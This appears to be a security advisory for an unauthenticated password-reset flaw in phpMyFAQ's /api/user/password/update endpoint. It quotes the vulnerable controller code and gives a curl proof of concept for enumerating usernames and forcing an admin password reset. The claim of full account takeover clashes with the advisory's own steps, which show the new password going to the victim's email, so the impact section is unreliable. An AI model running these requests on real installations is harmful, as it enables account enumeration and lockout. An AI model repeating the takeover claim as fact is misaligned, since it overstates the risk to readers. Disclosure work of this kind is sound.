Summary

An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:

[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

public function updatePassword(Request $request): JsonResponse
{
    $data = json_decode($request->getContent());
    $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
    $email = trim((string) Filter::filterEmail($data->email));
    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
        $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
        $loginExist = $user->getUserByLogin($username);
        if ($loginExist && $email === $user->getUserData('email')) {
            // NO TOKEN CHECK
            // NO RATE LIMITING
            // NO EMAIL VERIFICATION
            $newPassword = $user->createPassword();
            $user->changePassword($newPassword);
            $mail->send(); // New password sent in plaintext
        }
    }
}

Root Causes:

1. No time-limited cryptographic token required for password reset
2. No rate limiting on the endpoint (allows unlimited username/email enumeration)
3. No verification email sent to original address before reset
4. New password sent in plaintext email without any confirmation step

PoC

Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"wrong@test.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

OR

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required):

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"admin@target.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact

Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted: - All phpMyFAQ administrators using default installations - Any organization using phpMyFAQ for internal knowledge bases - End users whose accounts could be compromised - Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address